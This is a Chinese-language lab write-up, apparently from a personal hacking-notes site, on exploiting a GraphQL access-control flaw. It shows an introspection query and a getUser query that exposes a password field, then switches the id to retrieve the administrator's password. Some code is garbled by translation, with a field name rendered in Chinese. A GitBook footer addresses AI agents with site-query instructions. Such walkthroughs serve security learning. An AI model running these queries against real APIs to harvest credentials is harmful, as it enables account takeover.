> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# 私有 GraphQL 字段的意外暴露

### GraphQL 私有字段的意外暴露

#### 实验上下文

用户管理功能基于一个 **GraphQL** 端点。实验室包含一个薄弱的访问控制：可以 **强制 API 透露敏感字段** （凭据 / 密码）。/ 目的： **以管理员身份登录** 然后 **删除用户 `carlos`**.

#### 观察到的 GraphQL 查询

一个典型的客户端请求：

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="/files/0fac556e6d656ae725cf0814bf9cf26c2af34452" alt=""><figcaption></figcaption></figure>

#### GraphQL 自省

可通过一个 **IntrospectionQuery** （完整示意图：类型、请求、变更等）。/ 发送的请求：

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}
```

服务器响应 **200 OK**，这证实了自省已启用。

<figure><img src="/files/2c1fb5bc517be86c0852d6170d2e403c43e1395a" alt=""><figcaption></figcaption></figure>

#### 站点地图中的请求分析

通过向 **目标 → 站点地图**，会出现多个请求（大约 5 个）。

<figure><img src="/files/56af8ad4c7ad02597c4bad1094712f15e14e8d55" alt=""><figcaption></figcaption></figure>

有一个查询格外突出： **`getUser`**.

<figure><img src="/files/195510a5a4c2be78609b5e96e82e39c679724ebb" alt=""><figcaption></figcaption></figure>

#### 通过……暴露私有字段 `getUser`

已识别的查询：

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="/files/eaaf9e088d7cc8e325781fd08f39c7330f43ce7e" alt=""><figcaption></figcaption></figure>

此查询显示字段 **`密码`**.

等效的 GraphQL 版本：

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
    密码
  }
}
```

通过替换 **`id: 0`** 替换为 **`id: 1`**，API 返回 **username** 以及 **密码** 的 `administrator`:

```json
{
  "id": 1
}
```

<figure><img src="/files/8c44e6ae53f5bfbef05f2255eda5e55d7b97d208" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
